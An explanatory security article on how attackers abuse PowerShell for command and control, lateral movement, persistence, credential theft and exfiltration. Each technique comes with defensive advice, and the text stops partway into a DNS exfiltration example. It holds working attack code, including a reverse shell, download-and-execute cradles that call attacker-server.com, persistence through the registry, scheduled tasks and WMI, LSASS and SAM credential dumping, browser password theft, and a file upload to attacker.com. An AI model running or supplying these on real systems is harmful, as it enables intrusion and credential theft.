The Dark Side of PowerShell.

PowerShell Exploitation in Cyber Attacks

PowerShell has become a common attack vector due to its powerful scripting capabilities and deep integration with Windows systems. Below, we’ll go through advanced technical details, real-world use cases, and thorough explanations for different PowerShell exploitation methods.

Recently, PowerShell has become a favored tool among cyber attackers. The Carbon Black Threat Research Team, alongside numerous managed security service providers (MSSP) and incident response (IR) partners, reported an increasing use of PowerShell in cyber attacks. Their research indicates that 38% of cyber incidents involved PowerShell, with 87% of these incidents being commodity malware attacks like click fraud, fake antivirus, ransomware, and other opportunistic malware. Social engineering remains the primary technique for delivering these PowerShell-based attacks, often via malicious email attachments or links.

38% of the confirmed incidents seen by 28 MSSP and IR partners of Carbon Black used PowerShell

Common Malicious Uses of PowerShell.

Attackers exploit PowerShell for various malicious purposes. Some of the most common activities include:

  1. Command-and-Control Operations: Attackers use PowerShell to execute commands on compromised systems remotely.

  2. Lateral Movement: PowerShell scripts help attackers move laterally within a network to compromise additional systems.

  3. Establishing Persistence: Attackers use PowerShell to ensure their malicious code remains on a system even after reboots.

  4. Credential Theft: PowerShell can extract and exfiltrate credentials from compromised systems.

  5. Data Exfiltration: Attackers use PowerShell to transfer stolen data out of the network.

1- Command-and-Control Operations.

Command-and-Control (C2) is a technique used by attackers to remotely control compromised systems within a network. PowerShell is often leveraged as part of C2 operations due to its flexibility, native availability on Windows systems, and the ability to execute complex commands without needing additional software. Attackers use C2 to maintain control over compromised hosts, execute payloads, exfiltrate data, or pivot to other systems within the network.

Why PowerShell is Popular for C2?

1. Built-in Tool: PowerShell is included by default in Windows environments, eliminating the need for attackers to download external tools that might be flagged by antivirus software.

2. Bypass Security Controls:
PowerShell can run obfuscated scripts and commands that evade traditional antivirus solutions and endpoint detection systems.

3. Network Communication:
PowerShell can natively make web requests (HTTP/S, DNS), allowing attackers to communicate with their C2 server without needing additional software.

Example of C2 Communication Using PowerShell.

Let’s look at a simple example where PowerShell is used to establish a C2 communication with a remote server.

Example 1: Using `Invoke-WebRequest`

```powershell
$url = "http://attacker-server.com/command.txt"
$response = Invoke-WebRequest -Uri $url -UseBasicParsing
Invoke-Expression $response.Content
```
Explanation:

1. `$url`: Defines the C2 server’s URL from which the commands are retrieved.

2. `Invoke-WebRequest`:
Sends an HTTP request to the C2 server and retrieves the content (commands or scripts).

3. `Invoke-Expression`:
Executes the content received from the C2 server as a PowerShell command.

Use Case: An attacker can host a text file on their server containing malicious PowerShell commands.

The compromised system periodically fetches this file and executes the commands, allowing the attacker to maintain control.

Risks:

- Stealth: The communication appears as a standard HTTP request, which may not be flagged by basic network security appliances.

- Dynamic Payloads: Attackers can change the commands on the C2 server, updating the behavior of the compromised system without modifying the local script.

Example 2: C2 with PowerShell and DNS.

Attackers can also use DNS queries for C2 communication, as DNS traffic is often less scrutinized compared to HTTP traffic.

```powershell
$dnsResponse = nslookup attacker-command.com
Invoke-Expression $dnsResponse.Answers[0].Data
```
Explanation:

1. `nslookup`: Queries the DNS server for the IP address or a specific text record (TXT).

2. `Invoke-Expression`:
Executes the data received from the DNS response as a command.

Use Case: DNS-based C2 is stealthy because DNS queries are a normal part of system operations, making it difficult to detect malicious intent. The attacker can encode commands or payloads in DNS responses.

Example 3: Using `PowerShell Empire`

PowerShell Empire is an open-source C2 framework designed for post-exploitation and Red Team activities. It provides a wide array of modules for attackers to control compromised systems.

```powershell
powershell -noP -sta -w 1 -enc <Base64Payload>
```

 Explanation:

1. `-noP`: Disables the PowerShell profile, which speeds up execution and avoids using any startup scripts.

2. `-sta`: Starts PowerShell in single-threaded apartment mode, required by certain C2 payloads.

3. `-w 1`: Sets the window style to hidden, making the script execution invisible to the user.

4. `-enc <Base64Payload>`: Executes a Base64-encoded payload. This technique is often used to obfuscate the payload and evade detection.

Use Case: Attackers use Empire to execute complex tasks like keylogging, credential dumping, and data exfiltration via an encrypted communication channel with the C2 server.

Example 4: Reverse Shell Using PowerShell.

A reverse shell is a common method used in C2 operations, allowing an attacker to gain an interactive shell on the compromised system.

```powershell
$client = New-Object System.Net.Sockets.TCPClient("attacker-server.com", 4444)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$buffer = New-Object byte[] 1024
while(($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
    $data = (New-Object Text.ASCIIEncoding).GetString($buffer, 0, $bytesRead)
    $result = Invoke-Expression $data 2>&1
    $writer.WriteLine($result)
    $writer.Flush()
}
$client.Close()
```

Explanation

1. New-Object System.Net.Sockets.TCPClient: This line creates a new TCP client object that attempts to establish a connection to a server at attacker-server.com on port 4444.

2. `$client.GetStream():`: Retrieves the network stream from the TCP connection. This stream is used for both reading data (commands from the attacker) and writing data (command output back to the attacker).

3. `$writer = New-Object System.IO.StreamWriter($stream)`: 

For the "System.IO.StreamWriter" => This object is used to write data to the network stream. It allows the script to send the results of executed commands back to the attacker.

4. `$buffer = New-Object byte[] 1024`: 
=> Creates a byte array ($buffer) of size 1024 bytes.
   
=> This buffer is used to temporarily store the data read from the stream (incoming commands from the attacker).

=> The size of 1024 bytes is typical, but it can be adjusted depending on the expected size of the incoming data.

5. while(($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {

The while loop is a control flow statement that repeats a block of code as long as the specified condition is true.

In this case, it checks the condition ($bytesRead = $stream.Read($buffer, 0, $buffer.Length)) -ne 0.
It keeps the script running in an infinite loop until the connection is closed by the attacker or an error occurs.

$bytesRead = $stream.Read($buffer, 0, $buffer.Length):

$stream.Read(): => This method reads data from the network stream into a byte array ($buffer).

Parameters:

- $buffer: The byte array where the incoming data (commands from the attacker) will be stored.
- 0: The starting index in the buffer where the read data should be placed.
- $buffer.Length: The maximum number of bytes to read (in this case, 1024 bytes).

Returns: The number of bytes actually read ($bytesRead). If the stream is closed or no data is received, it returns 0.
This line reads the attacker’s input (commands) from the network stream.

-ne 0:

- This is a comparison operator that means "not equal to 0".

- The condition checks if $bytesRead is not equal to 0. If this is true, the loop continues; otherwise, it stops,  and it fulfils one purpose which is in case no more data is being received, aka when the attacker closes the connection or some error occurred, since because the $stream.Read() would return 0 so.

like Imagine the attacker types a command like Get-Process, the command is sent over the network stream from the attacker’s machine to the victim’s machine. The while loop reads this command into the $buffer byte array. If the command is received successfully, $bytesRead will be the number of bytes read which is 12 bytes for the string "Get-Process".

And Since $bytesRead is not 0, the loop continues, and the script processes the received data which is the $data variable.

The attacker closes the connection, $stream.Read() returns 0, causing the loop to exit.

- $data = (New-Object Text.ASCIIEncoding).GetString($buffer, 0, $bytesRead)

    - New-Object Text.ASCIIEncoding => This creates a new object of the class Text.ASCIIEncoding, which is responsible for encoding and decoding text using the ASCII character set. ASCII is often used in reverse shell scenarios because it's a simple encoding where each byte represents one character, which is enough for typical command and control communication.
   
GetString($buffer, 0, $bytesRead): =>
                        
                    $buffer: This is the byte array that holds the incoming data from the attacker, which may be part of or the entire command that was sent over the network.
                    
                    0: The index in the buffer where the data will begin reading from.

                    $bytesRead: This is the number of bytes that were actually read from the stream in the previous while loop iteration. This tells the GetString method how many bytes to convert into a string.

The raw byte data ($buffer) is converted into a readable string ($data) so that it can be executed. This string will likely contain a PowerShell command (e.g., Get-Process or a malicious script) that the attacker has sent.

$result = Invoke-Expression $data 2>&1

This line executes the command that was passed in the $data variable, and then captures any output (including errors) generated by that command.

Invoke-Expression => This cmdlet is used to run a string as a PowerShell command. It takes the contents of the $data variable  (PowerShell command as a string) and executes it.

- $data: This variable contains the command (e.g., Get-Process) or potentially more complex commands that the attacker has sent via the reverse shell.

- 2>&1: This part redirects the standard error stream (2) to the standard output stream (1).

In PowerShell, 2 refers to the error stream and 1 refers to the output stream. By default, Invoke-Expression only outputs standard output, but by redirecting errors, the attacker can capture all results.

$writer.WriteLine($result)

- $writer: This is a StreamWriter object that was created earlier in the script ($writer = New-Object System.IO.StreamWriter($stream)). It writes to the network stream, which is where data sent back to the attacker is written.

WriteLine($result)

This method writes the result of the executed command (stored in $result) to the output stream.
It’s important to note that this sends only the output (or the error, if applicable) back to the attacker.
If the $result contains the output of the command or an error message, it will be written to the stream and sent to the attacker.

$writer.Flush()

This method ensures that the data stored in the buffer of the StreamWriter is immediately written to the output stream and transmitted over the network. In case data was written to the buffer but has not been transmitted yet, Flush() ensures the data is sent out.

Use Case: 

The attacker sets up a listener on their server to receive the connection. Once the victim's system connects back, the attacker can execute arbitrary commands. The while loop reads this command into the $buffer byte array.

Mitigations for PowerShell C2 Attacks.

1. Enable PowerShell Logging: Turn on module logging, script block logging, and transcription logging to capture PowerShell activity (`Event IDs 4103, 4104, and 4105`).

2. Restrict PowerShell Execution: Use AppLocker or Windows Defender Application Control (WDAC) to enforce script execution policies and restrict unauthorized scripts.

3. Network Traffic Analysis: Monitor outbound HTTP, DNS, and TCP connections for unusual patterns that may indicate C2 activity.

4. Disable Unneeded PowerShell Versions: Disable legacy PowerShell (e.g., v2) if not needed, as it lacks many modern security features.

Detection Example

To detect potentially malicious PowerShell activity, use the following PowerShell command to list running PowerShell processes and their command lines:

```powershell
Get-WmiObject Win32_Process -Filter "Name='powershell.exe'" | Select-Object CommandLine
```
This command retrieves the command line arguments of running PowerShell processes, which can help identify suspicious or obfuscated commands.

2 - Lateral Movement.

Lateral movement refers to the technique attackers use to navigate across a network after initially compromising a single host. The goal is often to escalate privileges, access sensitive data, or compromise additional systems, eventually gaining control over the entire network. PowerShell is a popular tool for lateral movement due to its capabilities for automation, remote access, and script execution.

Why Attackers Use PowerShell for Lateral Movement?

  1. Built-in Tool: PowerShell is installed by default on Windows systems, reducing the need for attackers to drop additional tools, which could be detected by security software.

  2. Remote Management: PowerShell can remotely execute commands on other systems using features like Invoke-Command, WinRM (Windows Remote Management), or WMI (Windows Management Instrumentation).

  3. Bypassing Security Controls: Attackers can use PowerShell obfuscation and Living-off-the-Land (LotL) techniques, making it difficult for traditional antivirus and endpoint detection solutions to spot malicious activity.

Common PowerShell Commands Used for Lateral Movement:

1. Using Invoke-Command: 

For Remote Execution Invoke-Command is a PowerShell cmdlet that allows an attacker to execute a script block on one or more remote computers.

Code Example:

```
Invoke-Command -ComputerName "Target-PC" -ScriptBlock { Get-Process } -Credential (Get-Credential)
```

Explanation:

  • -ComputerName "Target-PC": Specifies the target machine where the command should be executed.
  • -ScriptBlock { Get-Process }: This block of code is what will be executed on the target machine. In this case, it retrieves a list of running processes.
  • -Credential (Get-Credential): Prompts for credentials to authenticate on the target machine.
An attacker with valid credentials can execute commands remotely, harvest sensitive information, or launch further attacks on the compromised system.

2. Using PowerShell Remoting (WinRM):

PowerShell remoting allows an attacker to remotely connect to a machine and execute PowerShell commands or scripts.

Code Example:

```
Enable-PSRemoting -Force
Enter-PSSession -ComputerName "Target-PC" -Credential (Get-Credential)

```

Explanation:

  • Enable-PSRemoting -Force: Enables PowerShell remoting on the local machine.
  • Enter-PSSession: Starts an interactive session with the specified remote computer.
  • -ComputerName "Target-PC": The target computer to connect to.
  • -Credential (Get-Credential): Prompts for credentials needed to access the remote machine.
Attackers use this method to gain an interactive session on the remote machine, allowing them to execute arbitrary commands as if they were sitting in front of the target.

3. Using WMI for Remote Code Execution:

WMI (Windows Management Instrumentation) is another method attackers use for remote code execution via PowerShell.

Code Example: 

```
$command = "powershell -nop -c iex(New-Object Net.WebClient).DownloadString('http://attacker-server.com/script.ps1')"

Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $command -ComputerName "Target-PC" -Credential (Get-Credential)

```

  • powershell: This launches a new PowerShell process.
  • -nop: Short for -NoProfile, this flag tells PowerShell not to load the user’s profile. It speeds up execution and avoids detection by bypassing any logging or security configurations present in the profile scripts.
  • -c: Short for -Command, this specifies that the following string is the command to be executed.
  • iex: Alias for Invoke-Expression. This cmdlet takes a string as input and executes it as a PowerShell command. It is often used by attackers to execute malicious payloads dynamically.
  • New-Object Net.WebClient: Creates a new instance of the WebClient class, which is used to make HTTP requests.
  • .DownloadString('http://attacker-server.com/script.ps1'): Downloads the PowerShell script from the specified URL.
  • Invoke-WmiMethod: This PowerShell cmdlet is used to call a method of a WMI class. In this case, it is used for remote code execution.
  • -Class Win32_Process: The Win32_Process WMI class represents processes on a Windows system. By interacting with this class, attackers can create or manipulate processes on a remote machine.
  • -Name Create: This specifies the method to invoke. The Create method is used to start a new process on the target machine.
  • -ArgumentList $command: The command to be executed on the target machine. Here, it is the PowerShell command stored in $command, which downloads and executes the malicious script.
  • -ComputerName "Target-PC": Specifies the remote computer on which to execute the command. In this example, it is "Target-PC".
  • -Credential (Get-Credential): Prompts the user for credentials. The attacker would need valid credentials for the target machine to execute the command successfully.


  • Attackers use this to execute a PowerShell payload on a remote system, which can download and run malicious scripts.

    4. Copying Files Remotely with PowerShell (Copy-Item):

    Code Example:

    ```
    Copy-Item -Path "C:\Malware\payload.exe" -Destination "\\Target-PC\C$\Users\Public\payload.exe" -Credential (Get-Credential)
    ```
    • Copy-Item: Copies a file or folder to a specified location.
    • -Path: Specifies the source file to copy.
    • -Destination: The destination path on the target machine.
    • -Credential (Get-Credential): Provides credentials for access to the target machine.

    An attacker can use this method to deliver a malicious executable or script to a target machine, which can then be executed remotely.

    5. Enumerating Network Shares with PowerShell:

    Attackers often look for network shares where sensitive data or additional access credentials might be stored. 

    Code Example:
    ```
    Get-SmbShare -ComputerName "Target-PC"

    ```
    • Get-SmbShare: Retrieves a list of shared folders on the target machine.
    • -ComputerName "Target-PC": Specifies the target computer.
    ```
    Attackers use this command to identify shared folders and directories on the target machine or network, looking for sensitive information to exfiltrate or credentials to escalate privileges.

    6. Dumping Credentials from LSASS Using PowerShell:

    Credential dumping is a key tactic in lateral movement. Attackers may use PowerShell to dump credentials from the LSASS process (Local Security Authority Subsystem Service). 


    Code Example:
    ```
    rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full

    ```
    • rundll32.exe: This is a built-in Windows utility used to execute functions exported by DLL files. It is often abused by attackers because it is a legitimate system binary and can be used for malicious purposes (a technique called living off the land).
    • Using rundll32.exe, attackers can call exported functions from various system DLLs without needing to drop custom tools.
    • comsvcs.dll: This is a system DLL that contains various COM and DCOM services for Windows. It includes a function called MiniDump, which can be abused to create a memory dump of a process.
    • Why comsvcs.dll? Attackers use it because it is a trusted system DLL that is unlikely to be flagged by antivirus software.
    • MiniDump: This is a function within comsvcs.dll that creates a memory dump of a specified process. It is typically used for debugging and crash analysis but can be abused for malicious purposes.
    • This function takes several arguments, including the process ID of the target process, the output dump file path, and the dump type.

    • Get-Process lsass: This part retrieves the process ID of lsass.exe using PowerShell.
      • lsass.exe: The Local Security Authority Subsystem Service (lsass.exe) is a crucial Windows process that handles authentication and stores credentials in memory.

    • .Id: This returns the process ID (PID) of lsass.exe, which is then passed to the MiniDump function.
    • lsass.exe contains sensitive information like hashed passwords, NTLM hashes, and Kerberos tickets. By dumping its memory, attackers can extract these credentials and use them for lateral movement or privilege escalation.
    • C:\Temp\lsass.dmp: This is the path where the memory dump of lsass.exe will be saved. The file lsass.dmp contains the dumped memory data.
    • Once created, this dump file can be analyzed using tools like Mimikatz or Volatility to extract credentials.
    • full: This argument specifies the type of dump to create. It instructs MiniDump to capture a full memory dump of the process, which includes all the memory used by the process.
    • A full dump is more comprehensive than a mini-dump, as it contains more detailed information, but it is also larger in size.

    How to Mitigate Lateral Movement with PowerShell

    1. Disable PowerShell Remoting: Use Disable-PSRemoting -Force to turn off PowerShell remoting on systems where it’s not needed.
    2. Enable PowerShell Constrained Language Mode: This restricts the functionality of PowerShell, limiting access to certain features often used by attackers.
    3. Monitor PowerShell Activity: Use Windows Event Logging (e.g., Event ID 4104 for script block logging) to detect suspicious PowerShell commands.
    4. Implement Endpoint Protection: Use Endpoint Detection and Response (EDR) solutions that can detect and block malicious PowerShell scripts.
    5. Limit User Permissions: Ensure that only authorized users have administrative privileges, reducing the attacker’s ability to perform lateral movement.

    3 - Establishing Persistence

    Persistence is a key tactic in cyber attacks, where an attacker ensures their access or malware remains active on a compromised system even after reboots. PowerShell, being a versatile and powerful scripting tool, is often used by attackers to establish persistence due to its deep integration with Windows and ability to execute complex tasks with minimal detection.

    Common PowerShell Techniques for Persistence.

    1. Registry Manipulation:

      • Attackers can create or modify registry keys that are executed when the system or user logs on. Using PowerShell, attackers can automate this process and hide their payloads in the registry.
    2. Scheduled Tasks:

      • PowerShell can be used to create or modify scheduled tasks, which can be set to run malicious scripts at specific times or system events.
    3. WMI Event Subscription:

      • Attackers leverage PowerShell to set up WMI (Windows Management Instrumentation) event subscriptions, which can execute malicious code when certain events occur, such as system startup.
    4. Startup Folder:

      • PowerShell scripts can be placed in the user’s or system’s Startup folder, ensuring they are executed each time the user logs in.

    Example 1: Persistence Using the Registry

    In this example, an attacker sets a malicious script to execute every time the user logs in by modifying the Run registry key.

    Code Example:

    ```
    $payload = "powershell -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString('http://attacker-server.com/payload.ps1')"

    Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "UpdateChecker" -Value $payload
    ```

    Payload Execution:

  • -nop: Runs PowerShell with No Profile, reducing potential detection from user profiles.
  • -w hidden: Starts PowerShell hidden, making it stealthier.
  • -c: Runs the specified command.
  • iex(...): Uses Invoke-Expression to execute the downloaded script inline without saving it.
  • New-Object Net.WebClient: Creates a WebClient object to download the script from the attacker's server.
  • Persistence via Registry:

    Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "UpdateChecker" -Value $payload

  • This command creates or updates a registry key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
  • The key name is UpdateChecker, and its value is set to the payload defined earlier.
  • HKCU (HKEY_CURRENT_USER) is used for current user persistence, ensuring that the script runs every time the user logs in.
  • Detection and Mitigation:

    • Monitor changes to the Run registry keys.
    • Use tools like Autoruns to inspect startup programs and remove unauthorized entries.

    Example 2: Persistence with Scheduled Tasks

    Attackers can use PowerShell to create scheduled tasks that run malicious commands at specific intervals or when the system starts.

    Code Example:
    ```
    $taskName = "SystemUpdate"
    $payload = "powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command iex(New-Object Net.WebClient).DownloadString('http://attacker-server.com/script.ps1')"

    # Create a scheduled task that runs the payload at system startup
    schtasks /create /tn $taskName /tr $payload /sc onstart /rl highest

    ```

  • $taskName: Defines the name of the scheduled task as SystemUpdate, which may look legitimate to a user or system admin.
  • $payload: Constructs the PowerShell command that will be executed by the task.
    • -WindowStyle Hidden: Executes PowerShell in a hidden window, making it less noticeable.
    • -NoProfile: Launches PowerShell without loading user-specific profiles, reducing detection.
    • -ExecutionPolicy Bypass: Ignores any script execution restrictions set on the system.
    • iex(...): Uses Invoke-Expression to execute the downloaded script inline.
    • New-Object Net.WebClient: Downloads the malicious script from the specified URL.
    • schtasks: A built-in Windows command-line tool to manage scheduled tasks.
    • /create: Creates a new task.
    • /tn $taskName: Specifies the task name (SystemUpdate).
    • /tr $payload: Defines the task action, which is the malicious PowerShell command.
    • /sc onstart: Configures the task to trigger on system startup, ensuring persistence across reboots.
    • /rl highest: Runs the task with the highest privileges (admin-level), which may give the payload full system access.
  • Mitigation

    • Delete the task if it's malicious:
    • Command => " schtasks /delete /tn "SystemUpdate" /f "
    • Monitor scheduled tasks using PowerShell (Get-ScheduledTask) or tools like Task Scheduler.
    • Regularly audit tasks and look for suspicious or unauthorized entries.
    • Restrict the creation of scheduled tasks to trusted administrators only using Group Policy.
    • Block outgoing network connections to suspicious domains via a firewall.

    Example 3: Persistence with WMI Event Subscription

    WMI event subscriptions are a stealthy way to achieve persistence. Attackers can use PowerShell to set up an event that triggers when the system starts, executing their malicious script.

    Code Example:
    ```
    # Define an event filter that triggers on system startup
    $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{
        Name = "StartupEventFilter";
        QueryLanguage = "WQL";
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_OperatingSystem'"
    }

    # Define the command to execute (malicious payload)
    $command = "powershell.exe -nop -w hidden -c iex(New-Object Net.WebClient).DownloadString('http://attacker-server.com/malware.ps1')"

    # Define an event consumer that specifies the action (command to execute)
    $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{
        Name = "MaliciousConsumer";
        CommandLineTemplate = $command;
    }

    # Bind the event filter to the consumer to establish persistence
    Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{
        Filter = $filter;
        Consumer = $consumer;
    }
    ```

    Explanation:

    • Set-WmiInstance: Creates or modifies WMI objects. In this case, it sets up an event filter, an event consumer, and a binding between them.
    • __EventFilter: Defines the event that will trigger the action. Here, it triggers when the operating system is modified (e.g., on startup).
    • CommandLineEventConsumer: Specifies the command to execute when the event occurs.
    • __FilterToConsumerBinding: Binds the event filter to the consumer, making the attack persistent.

    Detection and Mitigation:

    • Use tools like Sysinternals Autoruns and WMI Explorer to inspect WMI event subscriptions.
    • Monitor WMI activity and look for suspicious event filters and consumers.

    Attackers leverage PowerShell for persistence due to its flexibility, stealth, and deep integration with Windows. By using techniques like modifying the registry, creating scheduled tasks, or setting up WMI event subscriptions, attackers can ensure their malicious payloads survive reboots and continue executing.

    Key Defensive Strategies:

    • Enable PowerShell Script Block Logging and Module Logging to capture suspicious activities.
    • Regularly audit registry keys, scheduled tasks, and WMI subscriptions.
    • Implement Application Whitelisting to restrict unauthorized use of PowerShell.
    • Use Windows Defender Attack Surface Reduction (ASR) rules to block potentially malicious activities.

    4 - Credential Theft

    Credential theft is a crucial step in many cyber attacks, allowing attackers to escalate privileges, access sensitive data, and move laterally within a network. PowerShell's ability to interact directly with the Windows API, access system memory, and run scripts without user interaction makes it a favored tool for stealing credentials.

    PowerShell can be used to extract credentials from various sources, including:

    1. Windows Credential Manager
    2. LSASS Process (Local Security Authority Subsystem Service)
    3. SAM Database (Security Account Manager)
    4. Web Browsers
    5. Network Traffic (using packet capture)

    1. Credential Dumping from Windows Credential Manager

    Attackers can use PowerShell to extract credentials stored in the Windows Credential Manager, which stores user passwords, browser passwords, and other saved credentials.

    Example: Using PowerShell to Access Credential Manager

    code example:
    ```
    # Retrieve credentials stored in the Windows Credential Manager $credentials = cmdkey /list $credentials

    ```
    • cmdkey /list: This command lists all stored credentials in the Windows Credential Manager.

      Attackers may use this to enumerate saved passwords for remote systems, RDP sessions, or websites.

    Detection and Mitigation:

    • Limit access to the Credential Manager and disable the storage of plaintext credentials.
    • Monitor for unusual usage of cmdkey commands, as it’s rarely used by legitimate users.

    2. Credential Dumping from LSASS Using PowerShell

    The LSASS process stores authentication information in memory, including passwords and hashes. Attackers often attempt to dump the contents of LSASS to extract these credentials.

    Example: Dumping LSASS Using PowerShell and rundll32

    code example:
    ```
    rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
    ```
  • rundll32.exe: Executes a DLL function from the command line.
  • comsvcs.dll, MiniDump: This function in comsvcs.dll allows dumping of process memory.
  • Get-Process lsass: Retrieves the process ID of lsass.exe.
  • C:\Temp\lsass.dmp: Specifies the output file where the memory dump is saved.
  • Attackers can then analyze the dump with tools like Mimikatz to extract credentials.
  • Detection and Mitigation:

    • Monitor for the execution of rundll32.exe with comsvcs.dll and memory dumping tools.
    • Restrict access to lsass.exe and enable Credential Guard to protect the LSASS process.

    3. Extracting Password Hashes from the SAM Database

    The SAM (Security Account Manager) database stores hashed passwords for local accounts. Attackers can use PowerShell to access this database and dump the hashes.

    Example: Accessing the SAM Database with PowerShell

    code example:

    ```
    reg save HKLM\SAM C:\Temp\SAM.hive reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive # Use secretsdump.py from the Impacket toolkit to extract password hashes python secretsdump.py -sam C:\Temp\SAM.hive -system C:\Temp\SYSTEM.hive LOCAL


    ```

    Part1 : Registry Hive Dump:

    reg save: This command saves a copy of the specified registry hive to a file.
    • HKLM\SAM: The Security Account Manager (SAM) database stores user account information, including password hashes.
    • HKLM\SYSTEM: The SYSTEM hive contains the Boot Key, necessary for decrypting password hashes in the SAM file.
    • The dumped files (SAM.hive and SYSTEM.hive) are saved in the C:\Temp directory.
    Part2 : Password Hash Extraction Using secretsdump.py:

    secretsdump.py: A tool from the Impacket toolkit used for extracting password hashes from the dumped registry files.
    • -sam: Specifies the path to the dumped SAM hive file.
    • -system: Specifies the path to the dumped SYSTEM hive file.
    • LOCAL: Indicates that the extraction is being performed on a local dump rather than remotely.
    Output:

  • The tool extracts NTLM hashes and may also include LM hashes (less common).
  • These hashes can be used in pass-the-hash (PtH) attacks or cracked offline with tools like John the Ripper or Hashcat.

    Detection and Mitigation:

    • Monitor for suspicious registry access and hive exports.
    • Restrict access to the SAM and SYSTEM registry hives.
    • Use LSA Protection to secure the SAM database.

    4. Stealing Credentials from Web Browsers

    Many users store their passwords in web browsers.

    Attackers can use PowerShell to extract these stored passwords.

    Example: Extracting Saved Browser Credentials

    code example:

    ```
    $browser = "Google Chrome" $loginDataPath = "$env:LocalAppData\Google\Chrome\User Data\Default\Login Data" Copy-Item $loginDataPath -Destination "C:\Temp\LoginData.db" # Use a tool like 'SharpWeb' or 'BrowserPasswordDump' to decrypt and extract the credentials SharpWeb.exe -f "C:\Temp\LoginData.db"


    ```
  • $env:LocalAppData: This environment variable points to the user's local application data folder.
  • Login Data: This is the SQLite database file where Google Chrome stores saved login credentials (encrypted).
  • Copy-Item: Copies the Login Data file to a temporary directory (C:\Temp).
  • This allows the attacker to work with a local copy without alerting the browser or the user.
  • SharpWeb.exe: A tool that can decrypt and extract stored browser credentials from Chrome’s Login Data database.
    • -f: Specifies the file to be analyzed (LoginData.db).
  • Tools like SharpWeb, BrowserPasswordDump, or ChromePass can decrypt saved passwords using the Windows DPAPI (Data Protection API).
  • How Chrome Stores Credentials

    • Chrome encrypts the passwords using the Windows DPAPI, which ties encryption keys to the user’s Windows login.
    • The encrypted credentials are stored in the Login Data SQLite database under the logins table.
    • The table contains columns like origin_url, username_value, and password_value (encrypted).

    Detection and Mitigation:

    • Monitor for access to browser password files and suspicious file copies.
    • Disable password storage in browsers or use a password manager.
    • Detect unusual access or copying of the Login Data file, especially to external locations like C:\Temp.
    • Use EDR solutions to track and flag such actions.
    • Use Google Chrome's enhanced password protection, which stores passwords in the user's Google account rather than locally.
    • Utilize Windows Defender Credential Guard to protect DPAPI keys.
    • Limit the use of administrator accounts and consider using least privilege principles.
    • Implement anti-malware solutions that can detect credential-stealing tools like SharpWeb.
    • Check for the presence of suspicious tools like SharpWeb, BrowserPasswordDump, or others that are not part of the organization's software inventory.

    If an attacker gains access to a user’s profile or has sufficient privileges, they can copy the Login Data file and decrypt stored passwords.
    This method relies on having access to the user's Windows environment, which provides the decryption key via DPAPI.

    5. Capturing Network Traffic for Credential Harvesting

    PowerShell can also be used to capture network traffic and extract credentials sent over the network.

    Example: Using PowerShell for Packet Capture

    Code Example:


    ```
    $listener = New-Object System.Net.Sockets.TcpListener 8080 $listener.Start() $client = $listener.AcceptTcpClient() $stream = $client.GetStream() $buffer = New-Object byte[] 1024 $bytes = $stream.Read($buffer, 0, $buffer.Length) $data = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $bytes) Write-Output $data

    ```
    • TcpListener: This object listens for incoming TCP connections on port 8080.
    • Start(): Begins listening for incoming client connections.
    • AcceptTcpClient(): Blocks until a client establishes a connection. It returns a TcpClient object that represents the connected client.
    • GetStream(): Retrieves the NetworkStream object for the TCP connection. This stream is used for reading from and writing to the client.
    • byte[] 1024: Creates a byte array with a size of 1024 bytes, which will be used to store the incoming data.
    • Read(): Reads data from the stream into the buffer. The method returns the number of bytes read. The data is placed into the buffer starting at index 0.
    • GetString(): Converts the raw byte data into an ASCII-encoded string.
    • Write-Output: Outputs the decoded string to the console or terminal, allowing you to see the data sent by the client.

    Detection and Mitigation

    1. Monitor Open Ports:

      • Port 8080 should be monitored for any unauthorized services listening for connections. Tools like netstat or PowerShell itself can help detect open ports and listener services.
    2. Use Firewalls:

      • Use firewalls to restrict access to open ports, especially non-standard ones (like 8080) on external-facing machines.
    3. Secure Data Transmission:

      • If the goal is to securely transmit sensitive data, consider using SSL/TLS encryption to protect the data in transit.

    Key Defensive Strategies:

    • Enable PowerShell Logging (Script Block Logging, Module Logging) to detect suspicious activities.
    • Implement Credential Guard and LSA Protection to secure sensitive data in memory.
    • Regularly audit and limit access to credential storage locations (e.g., LSASS, SAM, Credential Manager).
    • Use multi-factor authentication (MFA) to mitigate the impact of stolen credentials

    5 - Data Exfiltration.

    1. File Exfiltration via HTTP/S Requests.

    Attackers often use HTTP or HTTPS for exfiltration to blend in with legitimate web traffic.
    With PowerShell, they can easily send data to a remote server using Invoke-WebRequest or Invoke-RestMethod.

    Code Example:

    ```
    $Data = Get-Content "C:\Sensitive\file.txt" $Url = "https://attacker.com/exfil" Invoke-WebRequest -Uri $Url -Method POST -Body $Data

    ```

    • $Data = Get-Content "C:\Sensitive\file.txt": Reads the contents of C:\Sensitive\file.txt and stores it in the $Data variable.
    • $Url = "https://attacker.com/exfil": Sets the URL variable to the attacker's server endpoint.
    • Invoke-WebRequest -Uri $Url -Method POST -Body $Data: Sends an HTTP POST request to the specified URL with the file content ($Data) as the body.

    This script reads the contents of a sensitive file and sends it to an attacker-controlled server. Using HTTPS, the data is encrypted in transit, making it harder to detect.

    2. DNS Exfiltration.

    DNS is a common exfiltration channel because DNS queries are often allowed through firewalls and proxies.
    Attackers can use PowerShell to encode data and send it via DNS queries.

    Code Example:

    ```
    $Data = Get-Content "C:\Sensitive\file.txt"
